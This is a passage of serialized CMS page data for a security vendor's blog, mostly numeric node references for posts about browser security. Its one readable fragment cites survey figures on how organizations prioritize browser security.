ue":4795,"nodeType":865},{},[50629],{"type":961},{"data":50631,"content":50632,"nodeType":1835},{},[50633],{"data":50634,"content":50635,"nodeType":866},{},[50636],{"data":50637,"marks":50638,"value":4805,"nodeType":865},{},[],{"data":50640,"content":50641,"nodeType":1869},{},[50642,50652],{"data":50643,"content":50644,"nodeType":1835},{},[50645],{"data":50646,"content":50647,"nodeType":866},{},[50648],{"data":50649,"marks":50650,"value":4819,"nodeType":865},{},[50651],{"type":961},{"data":50653,"content":50654,"nodeType":1835},{},[50655],{"data":50656,"content":50657,"nodeType":866},{},[50658],{"data":50659,"marks":50660,"value":4829,"nodeType":865},{},[],{"data":50662,"content":50663,"nodeType":1869},{},[50664,50674],{"data":50665,"content":50666,"nodeType":1835},{},[50667],{"data":50668,"content":50669,"nodeType":866},{},[50670],{"data":50671,"marks":50672,"value":4843,"nodeType":865},{},[50673],{"type":961},{"data":50675,"content":50676,"nodeType":1835},{},[50677],{"data":50678,"content":50679,"nodeType":866},{},[50680],{"data":50681,"marks":50682,"value":4853,"nodeType":865},{},[],{"data":50684,"content":50685,"nodeType":1869},{},[50686,50696],{"data":50687,"content":50688,"nodeType":1835},{},[50689],{"data":50690,"content":50691,"nodeType":866},{},[50692],{"data":50693,"marks":50694,"value":4867,"nodeType":865},{},[50695],{"type":961},{"data":50697,"content":50698,"nodeType":1835},{},[50699],{"data":50700,"content":50701,"nodeType":866},{},[50702],{"data":50703,"marks":50704,"value":4877,"nodeType":865},{},[],{"data":50706,"content":50707,"nodeType":1869},{},[50708,50718],{"data":50709,"content":50710,"nodeType":1835},{},[50711],{"data":50712,"content":50713,"nodeType":866},{},[50714],{"data":50715,"marks":50716,"value":4891,"nodeType":865},{},[50717],{"type":961},{"data":50719,"content":50720,"nodeType":1835},{},[50721],{"data":50722,"content":50723,"nodeType":866},{},[50724],{"data":50725,"marks":50726,"value":4901,"nodeType":865},{},[],{"data":50728,"content":50729,"nodeType":1869},{},[50730,50740],{"data":50731,"content":50732,"nodeType":1835},{},[50733],{"data":50734,"content":50735,"nodeType":866},{},[50736],{"data":50737,"marks":50738,"value":4915,"nodeType":865},{},[50739],{"type":961},{"data":50741,"content":50742,"nodeType":1835},{},[50743],{"data":50744,"content":50745,"nodeType":866},{},[50746],{"data":50747,"marks":50748,"value":4925,"nodeType":865},{},[],{"data":50750,"content":50751,"nodeType":1869},{},[50752,50762],{"data":50753,"content":50754,"nodeType":1835},{},[50755],{"data":50756,"content":50757,"nodeType":866},{},[50758],{"data":50759,"marks":50760,"value":4939,"nodeType":865},{},[50761],{"type":961},{"data":50763,"content":50764,"nodeType":1835},{},[50765],{"data":50766,"content":50767,"nodeType":866},{},[50768],{"data":50769,"marks":50770,"value":4949,"nodeType":865},{},[],{"data":50772,"content":50773,"nodeType":1869},{},[50774,50784],{"data":50775,"content":50776,"nodeType":1835},{},[50777],{"data":50778,"content":50779,"nodeType":866},{},[50780],{"data":50781,"marks":50782,"value":4963,"nodeType":865},{},[50783],{"type":961},{"data":50785,"content":50786,"nodeType":1835},{},[50787],{"data":50788,"content":50789,"nodeType":866},{},[50790],{"data":50791,"marks":50792,"value":4973,"nodeType":865},{},[],{"data":50794,"content":50795,"nodeType":1869},{},[50796,50806],{"data":50797,"content":50798,"nodeType":1835},{},[50799],{"data":50800,"content":50801,"nodeType":866},{},[50802],{"data":50803,"marks":50804,"value":4654,"nodeType":865},{},[50805],{"type":961},{"data":50807,"content":50808,"nodeType":1835},{},[50809],{"data":50810,"content":50811,"nodeType":866},{},[50812],{"data":50813,"marks":50814,"value":4996,"nodeType":865},{},[],{"data":50816,"content":50817,"nodeType":953},{},[],{"data":50819,"content":50820,"nodeType":866},{},[50821,50824,50830],{"data":50822,"marks":50823,"value":5006,"nodeType":865},{},[],{"data":50825,"content":50826,"nodeType":882},{"uri":1728},[50827],{"data":50828,"marks":50829,"value":2812,"nodeType":865},{},[],{"data":50831,"marks":50832,"value":21,"nodeType":865},{},[],{"items":50834},[50835,50837],{"sys":50836,"name":297},{"id":2828},{"sys":50838,"name":2825},{"id":2824},{"items":50840},[50841],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":50842},{"url":5032},"blog/the-case-for-best-of-breed-browser-security",{"json":50845},{"data":50846,"content":50847,"nodeType":1739},{},[50848],{"data":50849,"content":50850,"nodeType":866},{},[50851],{"data":50852,"marks":50853,"value":35523,"nodeType":865},{},[],{"id":34955,"publishedAt":50855},"2026-08-13T09:35:07.376Z",{"items":50857},[50858,50860],{"sys":50859,"name":297},{"id":2828},{"sys":50861,"name":11426},{"id":11425},{"items":50863},[50864,50866,50868,50870,50872,50874,50876,50878,50880,50882,50884,50886,50888,50890,50892,50894,50896,50898,50900,50902],{"sys":50865,"name":297,"slug":298,"tier":31},{"id":294},{"sys":50867,"name":279,"slug":280,"tier":31},{"id":276},{"sys":50869,"name":413,"slug":414,"tier":31},{"id":410},{"sys":50871,"name":519,"slug":520,"tier":31},{"id":516},{"sys":50873,"name":342,"slug":343,"tier":31},{"id":339},{"sys":50875,"name":235,"slug":236,"tier":31},{"id":232},{"sys":50877,"name":261,"slug":262,"tier":45},{"id":258},{"sys":50879,"name":315,"slug":316,"tier":45},{"id":312},{"sys":50881,"name":360,"slug":361,"tier":45},{"id":357},{"sys":50883,"name":386,"slug":387,"tier":45},{"id":383},{"sys":50885,"name":333,"slug":334,"tier":45},{"id":330},{"sys":50887,"name":571,"slug":572,"tier":45},{"id":568},{"sys":50889,"name":484,"slug":485,"tier":45},{"id":481},{"sys":50891,"name":395,"slug":396,"tier":45},{"id":392},{"sys":50893,"name":589,"slug":590,"tier":45},{"id":586},{"sys":50895,"name":288,"slug":289,"tier":45},{"id":285},{"sys":50897,"name":511,"slug":512,"tier":45},{"id":508},{"sys":50899,"name":324,"slug":325,"tier":45},{"id":321},{"sys":50901,"name":580,"slug":581,"tier":45},{"id":577},{"sys":50903,"name":244,"slug":245,"tier":45},{"id":241},"ZdRUl9m2-G3Z9CEGGjFodkTk-e0uWBoLuwQs6a2oEzo",{"id":50906,"title":5016,"authorsCollection":50907,"content":50912,"extension":228,"faqItemsCollection":52186,"faqTitle":59,"featured":6,"hashTags":59,"meta":52188,"metaTitle":52189,"ogImage":59,"postType":1783,"publishedDate":5018,"relatedBlogPostsCollection":52190,"slug":5019,"stem":53814,"subtitle":59,"summary":53815,"synopsis":5017,"sys":53826,"tagsCollection":53828,"topicsCollection":53834,"__hash__":53886},"blog/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value.json",{"items":50908},[50909],{"fullName":5029,"firstName":5030,"jobTitle":3776,"socialLinks":50910,"profilePicture":50911},[25179],{"url":5032},{"json":50913,"links":51981},{"data":50914,"content":50915,"nodeType":1739},{},[50916,50929,50934,50940,50946,50951,50954,50961,50968,50983,51021,51026,51039,51042,51049,51056,51078,51110,51116,51119,51126,51133,51139,51144,51150,51153,51160,51167,51201,51231,51237,51240,51247,51254,51274,51280,51319,51325,51328,51335,51342,51378,51384,51389,51392,51399,51406,51432,51438,51443,51449,51452,51459,51466,51489,51495,51501,51507,51510,51517,51524,51530,51535,51541,51562,51585,51588,51595,51602,51608,51614,51617,51624,51679,51682,51689,51695,51963,51966],{"data":50917,"content":50918,"nodeType":866},{},[50919,50922,50926],{"data":50920,"marks":50921,"value":3792,"nodeType":865},{},[],{"data":50923,"marks":50924,"value":3797,"nodeType":865},{},[50925],{"type":961},{"data":50927,"marks":50928,"value":3801,"nodeType":865},{},[],{"data":50930,"content":50933,"nodeType":925},{"target":50931},{"sys":50932},{"id":3806,"type":922,"linkType":923},[],{"data":50935,"content":50936,"nodeType":866},{},[50937],{"data":50938,"marks":50939,"value":3814,"nodeType":865},{},[],{"data":50941,"content":50942,"nodeType":866},{},[50943],{"data":50944,"marks":50945,"value":3821,"nodeType":865},{},[],{"data":50947,"content":50950,"nodeType":925},{"target":50948},{"sys":50949},{"id":3826,"type":922,"linkType":923},[],{"data":50952,"content":50953,"nodeType":953},{},[],{"data":50955,"content":50956,"nodeType":963},{},[50957],{"data":50958,"marks":50959,"value":3838,"nodeType":865},{},[50960],{"type":961},{"data":50962,"content":50963,"nodeType":866},{},[50964],{"data":50965,"marks":50966,"value":3846,"nodeType":865},{},[50967],{"type":961},{"data":50969,"content":50970,"nodeType":866},{},[50971,50974,50980],{"data":50972,"marks":50973,"value":3853,"nodeType":865},{},[],{"data":50975,"content":50976,"nodeType":882},{"uri":3856},[50977],{"data":50978,"marks":50979,"value":3861,"nodeType":865},{},[],{"data":50981,"marks":50982,"value":3865,"nodeType":865},{},[],{"data":50984,"content":50985,"nodeType":866},{},[50986,50989,50995,50998,51002,51005,51009,51012,51018],{"data":50987,"marks":50988,"value":3872,"nodeType":865},{},[],{"data":50990,"content":50991,"nodeType":882},{"uri":3875},[50992],{"data":50993,"marks":50994,"value":3880,"nodeType":865},{},[],{"data":50996,"marks":50997,"value":2186,"nodeType":865},{},[],{"data":50999,"marks":51000,"value":3888,"nodeType":865},{},[51001],{"type":961},{"data":51003,"marks":51004,"value":3892,"nodeType":865},{},[],{"data":51006,"marks":51007,"value":3897,"nodeType":865},{},[51008],{"type":961},{"data":51010,"marks":51011,"value":3901,"nodeType":865},{},[],{"data":51013,"content":51014,"nodeType":882},{"uri":3904},[51015],{"data":51016,"marks":51017,"value":3909,"nodeType":865},{},[],{"data":51019,"marks":51020,"value":3913,"nodeType":865},{},[],{"data":51022,"content":51025,"nodeType":925},{"target":51023},{"sys":51024},{"id":3918,"type":922,"linkType":923},[],{"data":51027,"content":51028,"nodeType":866},{},[51029,51032,51036],{"data":51030,"marks":51031,"value":3926,"nodeType":865},{},[],{"data":51033,"marks":51034,"value":3931,"nodeType":865},{},[51035],{"type":961},{"data":51037,"marks":51038,"value":1048,"nodeType":865},{},[],{"data":51040,"content":51041,"nodeType":953},{},[],{"data":51043,"content":51044,"nodeType":963},{},[51045],{"data":51046,"marks":51047,"value":3945,"nodeType":865},{},[51048],{"type":961},{"data":51050,"content":51051,"nodeType":866},{},[51052],{"data":51053,"marks":51054,"value":3846,"nodeType":865},{},[51055],{"type":961},{"data":51057,"content":51058,"nodeType":866},{},[51059,51062,51068,51071,51075],{"data":51060,"marks":51061,"value":3959,"nodeType":865},{},[],{"data":51063,"content":51064,"nodeType":882},{"uri":3962},[51065],{"data":51066,"marks":51067,"value":3967,"nodeType":865},{},[],{"data":51069,"marks":51070,"value":3971,"nodeType":865},{},[],{"data":51072,"marks":51073,"value":3976,"nodeType":865},{},[51074],{"type":961},{"data":51076,"marks":51077,"value":3980,"nodeType":865},{},[],{"data":51079,"content":51080,"nodeType":866},{},[51081,51084,51090,51093,51097,51100,51107],{"data":51082,"marks":51083,"value":3987,"nodeType":865},{},[],{"data":51085,"content":51086,"nodeType":882},{"uri":3990},[51087],{"data":51088,"marks":51089,"value":3995,"nodeType":865},{},[],{"data":51091,"marks":51092,"value":3999,"nodeType":865},{},[],{"data":51094,"marks":51095,"value":4004,"nodeType":865},{},[51096],{"type":961},{"data":51098,"marks":51099,"value":4008,"nodeType":865},{},[],{"data":51101,"content":51102,"nodeType":882},{"uri":4011},[51103],{"data":51104,"marks":51105,"value":4017,"nodeType":865},{},[51106],{"type":961},{"data":51108,"marks":51109,"value":4021,"nodeType":865},{},[],{"data":51111,"content":51112,"nodeType":866},{},[51113],{"data":51114,"marks":51115,"value":4028,"nodeType":865},{},[],{"data":51117,"content":51118,"nodeType":953},{},[],{"data":51120,"content":51121,"nodeType":963},{},[51122],{"data":51123,"marks":51124,"value":4039,"nodeType":865},{},[51125],{"type":961},{"data":51127,"content":51128,"nodeType":866},{},[51129],{"data":51130,"marks":51131,"value":4047,"nodeType":865},{},[51132],{"type":961},{"data":51134,"content":51135,"nodeType":866},{},[51136],{"data":51137,"marks":51138,"value":4054,"nodeType":865},{},[],{"data":51140,"content":51143,"nodeType":925},{"target":51141},{"sys":51142},{"id":4059,"type":922,"linkType":923},[],{"data":51145,"content":51146,"nodeType":866},{},[51147],{"data":51148,"marks":51149,"value":4067,"nodeType":865},{},[],{"data":51151,"content":51152,"nodeType":953},{},[],{"data":51154,"content":51155,"nodeType":963},{},[51156],{"data":51157,"marks":51158,"value":4078,"nodeType":865},{},[51159],{"type":961},{"data":51161,"content":51162,"nodeType":866},{},[51163],{"data":51164,"marks":51165,"value":4047,"nodeType":865},{},[51166],{"type":961},{"data":51168,"content":51169,"nodeType":866},{},[51170,51173,51180,51183,51189,51192,51198],{"data":51171,"marks":51172,"value":4092,"nodeType":865},{},[],{"data":51174,"content":51175,"nodeType":882},{"uri":4095},[51176],{"data":51177,"marks":51178,"value":4101,"nodeType":865},{},[51179],{"type":997},{"data":51181,"marks":51182,"value":2186,"nodeType":865},{},[],{"data":51184,"content":51185,"nodeType":882},{"uri":4107},[51186],{"data":51187,"marks":51188,"value":4112,"nodeType":865},{},[],{"data":51190,"marks":51191,"value":2186,"nodeType":865},{},[],{"data":51193,"content":51194,"nodeType":882},{"uri":4118},[51195],{"data":51196,"marks":51197,"value":4123,"nodeType":865},{},[],{"data":51199,"marks":51200,"value":4127,"nodeType":865},{},[],{"data":51202,"content":51203,"nodeType":866},{},[51204,51207,51214,51217,51221,51224,51228],{"data":51205,"marks":51206,"value":21,"nodeType":865},{},[],{"data":51208,"content":51209,"nodeType":882},{"uri":4136},[51210],{"data":51211,"marks":51212,"value":4142,"nodeType":865},{},[51213],{"type":997},{"data":51215,"marks":51216,"value":4146,"nodeType":865},{},[],{"data":51218,"marks":51219,"value":4151,"nodeType":865},{},[51220],{"type":961},{"data":51222,"marks":51223,"value":4155,"nodeType":865},{},[],{"data":51225,"marks":51226,"value":4160,"nodeType":865},{},[51227],{"type":944},{"data":51229,"marks":51230,"value":4164,"nodeType":865},{},[],{"data":51232,"content":51233,"nodeType":866},{},[51234],{"data":51235,"marks":51236,"value":4171,"nodeType":865},{},[],{"data":51238,"content":51239,"nodeType":953},{},[],{"data":51241,"content":51242,"nodeType":963},{},[51243],{"data":51244,"marks":51245,"value":4182,"nodeType":865},{},[51246],{"type":961},{"data":51248,"content":51249,"nodeType":866},{},[51250],{"data":51251,"marks":51252,"value":4047,"nodeType":865},{},[51253],{"type":961},{"data":51255,"content":51256,"nodeType":866},{},[51257,51260,51264,51267,51271],{"data":51258,"marks":51259,"value":4196,"nodeType":865},{},[],{"data":51261,"marks":51262,"value":4201,"nodeType":865},{},[51263],{"type":944},{"data":51265,"marks":51266,"value":4205,"nodeType":865},{},[],{"data":51268,"marks":51269,"value":4210,"nodeType":865},{},[51270],{"type":944},{"data":51272,"marks":51273,"value":4214,"nodeType":865},{},[],{"data":51275,"content":51276,"nodeType":866},{},[51277],{"data":51278,"marks":51279,"value":4221,"nodeType":865},{},[],{"data":51281,"content":51282,"nodeType":1049},{},[51283,51301],{"data":51284,"content":51285,"nodeType":1003},{},[51286],{"data":51287,"content":51288,"nodeType":866},{},[51289,51292,51298],{"data":51290,"marks":51291,"value":873,"nodeType":865},{},[],{"data":51293,"content":51294,"nodeType":882},{"uri":4236},[51295],{"data":51296,"marks":51297,"value":4241,"nodeType":865},{},[],{"data":51299,"marks":51300,"value":4245,"nodeType":865},{},[],{"data":51302,"content":51303,"nodeType":1003},{},[51304],{"data":51305,"content":51306,"nodeType":866},{},[51307,51310,51316],{"data":51308,"marks":51309,"value":873,"nodeType":865},{},[],{"data":51311,"content":51312,"nodeType":882},{"uri":3288},[51313],{"data":51314,"marks":51315,"value":4261,"nodeType":865},{},[],{"data":51317,"marks":51318,"value":4265,"nodeType":865},{},[],{"data":51320,"content":51321,"nodeType":866},{},[51322],{"data":51323,"marks":51324,"value":4272,"nodeType":865},{},[],{"data":51326,"content":51327,"nodeType":953},{},[],{"data":51329,"content":51330,"nodeType":963},{},[51331],{"data":51332,"marks":51333,"value":4283,"nodeType":865},{},[51334],{"type":961},{"data":51336,"content":51337,"nodeType":866},{},[51338],{"data":51339,"marks":51340,"value":4291,"nodeType":865},{},[51341],{"type":961},{"data":51343,"content":51344,"nodeType":866},{},[51345,51348,51352,51355,51361,51364,51368,51371,51375],{"data":51346,"marks":51347,"value":4298,"nodeType":865},{},[],{"data":51349,"marks":51350,"value":4303,"nodeType":865},{},[51351],{"type":961},{"data":51353,"marks":51354,"value":4307,"nodeType":865},{},[],{"data":51356,"content":51357,"nodeType":882},{"uri":1362},[51358],{"data":51359,"marks":51360,"value":4314,"nodeType":865},{},[],{"data":51362,"marks":51363,"value":4318,"nodeType":865},{},[],{"data":51365,"marks":51366,"value":4323,"nodeType":865},{},[51367],{"type":961},{"data":51369,"marks":51370,"value":4327,"nodeType":865},{},[],{"data":51372,"marks":51373,"value":4332,"nodeType":865},{},[51374],{"type":961},{"data":51376,"marks":51377,"value":4336,"nodeType":865},{},[],{"data":51379,"content":51380,"nodeType":866},{},[51381],{"data":51382,"marks":51383,"value":4343,"nodeType":865},{},[],{"data":51385,"content":51388,"nodeType":925},{"target":51386},{"sys":51387},{"id":4348,"type":922,"linkType":923},[],{"data":51390,"content":51391,"nodeType":953},{},[],{"data":51393,"content":51394,"nodeType":963},{},[51395],{"data":51396,"marks":51397,"value":4360,"nodeType":865},{},[51398],{"type":961},{"data":51400,"content":51401,"nodeType":866},{},[51402],{"data":51403,"marks":51404,"value":4368,"nodeType":865},{},[51405],{"type":961},{"data":51407,"content":51408,"nodeType":866},{},[51409,51412,51419,51422,51429],{"data":51410,"marks":51411,"value":4375,"nodeType":865},{},[],{"data":51413,"content":51414,"nodeType":882},{"uri":4378},[51415],{"data":51416,"marks":51417,"value":4384,"nodeType":865},{},[51418],{"type":961},{"data":51420,"marks":51421,"value":4388,"nodeType":865},{},[],{"data":51423,"content":51424,"nodeType":882},{"uri":4391},[51425],{"data":51426,"marks":51427,"value":4397,"nodeType":865},{},[51428],{"type":961},{"data":51430,"marks":51431,"value":4401,"nodeType":865},{},[],{"data":51433,"content":51434,"nodeType":866},{},[51435],{"data":51436,"marks":51437,"value":4408,"nodeType":865},{},[],{"data":51439,"content":51442,"nodeType":925},{"target":51440},{"sys":51441},{"id":4413,"type":922,"linkType":923},[],{"data":51444,"content":51445,"nodeType":866},{},[51446],{"data":51447,"marks":51448,"value":4421,"nodeType":865},{},[],{"data":51450,"content":51451,"nodeType":953},{},[],{"data":51453,"content":51454,"nodeType":963},{},[51455],{"data":51456,"marks":51457,"value":4432,"nodeType":865},{},[51458],{"type":961},{"data":51460,"content":51461,"nodeType":866},{},[51462],{"data":51463,"marks":51464,"value":4440,"nodeType":865},{},[51465],{"type":961},{"data":51467,"content":51468,"nodeType":866},{},[51469,51472,51476,51479,51486],{"data":51470,"marks":51471,"value":4447,"nodeType":865},{},[],{"data":51473,"marks":51474,"value":4452,"nodeType":865},{},[51475],{"type":944},{"data":51477,"marks":51478,"value":4456,"nodeType":865},{},[],{"data":51480,"content":51481,"nodeType":882},{"uri":4459},[51482],{"data":51483,"marks":51484,"value":4465,"nodeType":865},{},[51485],{"type":961},{"data":51487,"marks":51488,"value":4469,"nodeType":865},{},[],{"data":51490,"content":51491,"nodeType":866},{},[51492],{"data":51493,"marks":51494,"value":4476,"nodeType":865},{},[],{"data":51496,"content":51497,"nodeType":866},{},[51498],{"data":51499,"marks":51500,"value":4483,"nodeType":865},{},[],{"data":51502,"content":51503,"nodeType":866},{},[51504],{"data":51505,"marks":51506,"value":4490,"nodeType":865},{},[],{"data":51508,"content":51509,"nodeType":953},{},[],{"data":51511,"content":51512,"nodeType":963},{},[51513],{"data":51514,"marks":51515,"value":4501,"nodeType":865},{},[51516],{"type":961},{"data":51518,"content":51519,"nodeType":866},{},[51520],{"data":51521,"marks":51522,"value":4509,"nodeType":865},{},[51523],{"type":961},{"data":51525,"content":51526,"nodeType":866},{},[51527],{"data":51528,"marks":51529,"value":4516,"nodeType":865},{},[],{"data":51531,"content":51534,"nodeType":925},{"target":51532},{"sys":51533},{"id":4521,"type":922,"linkType":923},[],{"data":51536,"content":51537,"nodeType":866},{},[51538],{"data":51539,"marks":51540,"value":4529,"nodeType":865},{},[],{"data":51542,"content":51543,"nodeType":1049},{},[51544,51553],{"data":51545,"content":51546,"nodeType":1003},{},[51547],{"data":51548,"content":51549,"nodeType":866},{},[51550],{"data":51551,"marks":51552,"value":4542,"nodeType":865},{},[],{"data":51554,"content":51555,"nodeType":1003},{},[51556],{"data":51557,"content":51558,"nodeType":866},{},[51559],{"data":51560,"marks":51561,"value":4552,"nodeType":865},{},[],{"data":51563,"content":51564,"nodeType":866},{},[51565,51568,51575,51578,51582],{"data":51566,"marks":51567,"value":4559,"nodeType":865},{},[],{"data":51569,"content":51570,"nodeType":882},{"uri":4562},[51571],{"data":51572,"marks":51573,"value":4568,"nodeType":865},{},[51574],{"type":961},{"data":51576,"marks":51577,"value":4572,"nodeType":865},{},[],{"data":51579,"marks":51580,"value":4577,"nodeType":865},{},[51581],{"type":944},{"data":51583,"marks":51584,"value":4581,"nodeType":865},{},[],{"data":51586,"content":51587,"nodeType":953},{},[],{"data":51589,"content":51590,"nodeType":963},{},[51591],{"data":51592,"marks":51593,"value":4592,"nodeType":865},{},[51594],{"type":961},{"data":51596,"content":51597,"nodeType":866},{},[51598],{"data":51599,"marks":51600,"value":4600,"nodeType":865},{},[51601],{"type":961},{"data":51603,"content":51604,"nodeType":866},{},[51605],{"data":51606,"marks":51607,"value":4607,"nodeType":865},{},[],{"data":51609,"content":51610,"nodeType":866},{},[51611],{"data":51612,"marks":51613,"value":4614,"nodeType":865},{},[],{"data":51615,"content":51616,"nodeType":953},{},[],{"data":51618,"content":51619,"nodeType":963},{},[51620],{"data":51621,"marks":51622,"value":4625,"nodeType":865},{},[51623],{"type":961},{"data":51625,"content":51626,"nodeType":1049},{},[51627,51640,51653,51666],{"data":51628,"content":51629,"nodeType":1003},{},[51630],{"data":51631,"content":51632,"nodeType":866},{},[51633,51637],{"data":51634,"marks":51635,"value":4639,"nodeType":865},{},[51636],{"type":961},{"data":51638,"marks":51639,"value":4643,"nodeType":865},{},[],{"data":51641,"content":51642,"nodeType":1003},{},[51643],{"data":51644,"content":51645,"nodeType":866},{},[51646,51650],{"data":51647,"marks":51648,"value":4654,"nodeType":865},{},[51649],{"type":961},{"data":51651,"marks":51652,"value":4658,"nodeType":865},{},[],{"data":51654,"content":51655,"nodeType":1003},{},[51656],{"data":51657,"content":51658,"nodeType":866},{},[51659,51663],{"data":51660,"marks":51661,"value":4669,"nodeType":865},{},[51662],{"type":961},{"data":51664,"marks":51665,"value":4673,"nodeType":865},{},[],{"data":51667,"content":51668,"nodeType":1003},{},[51669],{"data":51670,"content":51671,"nodeType":866},{},[51672,51676],{"data":51673,"marks":51674,"value":781,"nodeType":865},{},[51675],{"type":961},{"data":51677,"marks":51678,"value":4687,"nodeType":865},{},[],{"data":51680,"content":51681,"nodeType":953},{},[],{"data":51683,"content":51684,"nodeType":963},{},[51685],{"data":51686,"marks":51687,"value":4698,"nodeType":865},{},[51688],{"type":961},{"data":51690,"content":51691,"nodeType":866},{},[51692],{"data":51693,"marks":51694,"value":4705,"nodeType":865},{},[],{"data":51696,"content":51697,"nodeType":2396},{},[51698,51721,51743,51765,51787,51809,51831,51853,51875,51897,51919,51941],{"data":51699,"content":51700,"nodeType":1869},{},[51701,51711],{"data":51702,"content":51703,"nodeType":1835},{},[51704],{"data":51705,"content":51706,"nodeType":866},{},[51707],{"data":51708,"marks":51709,"value":4722,"nodeType":865},{},[51710],{"type":961},{"data":51712,"content":51713,"nodeType":1835},{},[51714],{"data":51715,"content":51716,"nodeType":866},{},[51717],{"data":51718,"marks":51719,"value":4733,"nodeType":865},{},[51720],{"type":961},{"data":51722,"content":51723,"nodeType":1869},{},[51724,51734],{"data":51725,"content":51726,"nodeType":1835},{},[51727],{"data":51728,"content":51729,"nodeType":866},{},[51730],{"data":51731,"marks":51732,"value":4747,"nodeType":865},{},[51733],{"type":961},{"data":51735,"content":51736,"nodeType":1835},{},[51737],{"data":51738,"content":51739,"nodeType":866},{},[51740],{"data":51741,"marks":51742,"value":4757,"nodeType":865},{},[],{"data":51744,"content":51745,"nodeType":1869},{},[51746,51756],{"data":51747,"content":51748,"nodeType":1835},{},[51749],{"data":51750,"content":51751,"nodeType":866},{},[51752],{"data":51753,"marks":51754,"value":4771,"nodeType":865},{},[51755],{"type":961},{"data":51757,"content":51758,"nodeType":1835},{},[51759],{"data":51760,"content":51761,"nodeType":866},{},[51762],{"data":51763,"marks":51764,"value":4781,"nodeType":865},{},[],{"data":51766,"content":51767,"nodeType":1869},{},[51768,51778],{"data":51769,"content":51770,"nodeType":1835},{},[51771],{"data":51772,"content":51773,"nodeType":866},{},[51774],{"data":51775,"marks":51776,"value":4795,"nodeType":865},{},[51777],{"type":961},{"data":51779,"content":51780,"nodeType":1835},{},[51781],{"data":51782,"content":51783,"nodeType":866},{},[51784],{"data":51785,"marks":51786,"value":4805,"nodeType":865},{},[],{"data":51788,"content":51789,"nodeType":1869},{},[51790,51800],{"data":51791,"content":51792,"nodeType":1835},{},[51793],{"data":51794,"content":51795,"nodeType":866},{},[51796],{"data":51797,"marks":51798,"value":4819,"nodeType":865},{},[51799],{"type":961},{"data":51801,"content":51802,"nodeType":1835},{},[51803],{"data":51804,"content":51805,"nodeType":866},{},[51806],{"data":51807,"marks":51808,"value":4829,"nodeType":865},{},[],{"data":51810,"content":51811,"nodeType":1869},{},[51812,51822],{"data":51813,"content":51814,"nodeType":1835},{},[51815],{"data":51816,"content":51817,"nodeType":866},{},[51818],{"data":51819,"marks":51820,"value":4843,"nodeType":865},{},[51821],{"type":961},{"data":51823,"content":51824,"nodeType":1835},{},[51825],{"data":51826,"content":51827,"nodeType":866},{},[51828],{"data":51829,"marks":51830,"value":4853,"nodeType":865},{},[],{"data":51832,"content":51833,"nodeType":1869},{},[51834,51844],{"data":51835,"content":51836,"nodeType":1835},{},[51837],{"data":51838,"content":51839,"nodeType":866},{},[51840],{"data":51841,"marks":51842,"value":4867,"nodeType":865},{},[51843],{"type":961},{"data":51845,"content":51846,"nodeType":1835},{},[51847],{"data":51848,"content":51849,"nodeType":866},{},[51850],{"data":51851,"marks":51852,"value":4877,"nodeType":865},{},[],{"data":51854,"content":51855,"nodeType":1869},{},[51856,51866],{"data":51857,"content":51858,"nodeType":1835},{},[51859],{"data":51860,"content":51861,"nodeType":866},{},[51862],{"data":51863,"marks":51864,"value":4891,"nodeType":865},{},[51865],{"type":961},{"data":51867,"content":51868,"nodeType":1835},{},[51869],{"data":51870,"content":51871,"nodeType":866},{},[51872],{"data":51873,"marks":51874,"value":4901,"nodeType":865},{},[],{"data":51876,"content":51877,"nodeType":1869},{},[51878,51888],{"data":51879,"content":51880,"nodeType":1835},{},[51881],{"data":51882,"content":51883,"nodeType":866},{},[51884],{"data":51885,"marks":51886,"value":4915,"nodeType":865},{},[51887],{"type":961},{"data":51889,"content":51890,"nodeType":1835},{},[51891],{"data":51892,"content":51893,"nodeType":866},{},[51894],{"data":51895,"marks":51896,"value":4925,"nodeType":865},{},[],{"data":51898,"content":51899,"nodeType":1869},{},[51900,51910],{"data":51901,"content":51902,"nodeType":1835},{},[51903],{"data":51904,"content":51905,"nodeType":866},{},[51906],{"data":51907,"marks":51908,"value":4939,"nodeType":865},{},[51909],{"type":961},{"data":51911,"content":51912,"nodeType":1835},{},[51913],{"data":51914,"content":51915,"nodeType":866},{},[51916],{"data":51917,"marks":51918,"value":4949,"nodeType":865},{},[],{"data":51920,"content":51921,"nodeType":1869},{},[51922,51932],{"data":51923,"content":51924,"nodeType":1835},{},[51925],{"data":51926,"content":51927,"nodeType":866},{},[51928],{"data":51929,"marks":51930,"value":4963,"nodeType":865},{},[51931],{"type":961},{"data":51933,"content":51934,"nodeType":1835},{},[51935],{"data":51936,"content":51937,"nodeType":866},{},[51938],{"data":51939,"marks":51940,"value":4973,"nodeType":865},{},[],{"data":51942,"content":51943,"nodeType":1869},{},[51944,51954],{"data":51945,"content":51946,"nodeType":1835},{},[51947],{"data":51948,"content":51949,"nodeType":866},{},[51950],{"data":51951,"marks":51952,"value":4654,"nodeType":865},{},[51953],{"type":961},{"data":51955,"content":51956,"nodeType":1835},{},[51957],{"data":51958,"content":51959,"nodeType":866},{},[51960],{"data":51961,"marks":51962,"value":4996,"nodeType":865},{},[],{"data":51964,"content":51965,"nodeType":953},{},[],{"data":51967,"content":51968,"nodeType":866},{},[51969,51972,51978],{"data":51970,"marks":51971,"value":5006,"nodeType":865},{},[],{"data":51973,"content":51974,"nodeType":882},{"uri":1728},[51975],{"data":51976,"marks":51977,"value":2812,"nodeType":865},{},[],{"data":51979,"marks":51980,"value":21,"nodeType":865},{},[],{"entries":51982},{"hyperlink":51983,"inline":51984,"block":51985},[],[],[51986,52027,52035,52069,52105,52129,52143],{"sys":51987,"__typename":9270,"content":51988,"name":52026,"title":59},{"id":3806},{"json":51989},{"nodeType":1739,"data":51990,"content":51991},{},[51992],{"nodeType":866,"data":51993,"content":51994},{},[51995,51998,52004,52008,52013,52017,52022],{"nodeType":865,"value":3872,"marks":51996,"data":51997},[],{},{"nodeType":882,"data":51999,"content":52000},{"uri":4378},[52001],{"nodeType":865,"value":25198,"marks":52002,"data":52003},[],{},{"nodeType":865,"value":52005,"marks":52006,"data":52007},", browser security is already a top-five priority for ",[],{},{"nodeType":865,"value":52009,"marks":52010,"data":52012},"88% of organizations",[52011],{"type":961},{},{"nodeType":865,"value":52014,"marks":52015,"data":52016},", and the top priority for ",[],{},{"nodeType":865,"value":52018,"marks":52019,"data":52021},"26%",[52020],{"type":961},{},{"nodeType":865,"value":52023,"marks":52024,"data":52025},". Of those that have deployed browser security solutions, the results speak for themselves: security leaders consistently report high satisfaction with the visibility and control they gain at a layer that was previously a 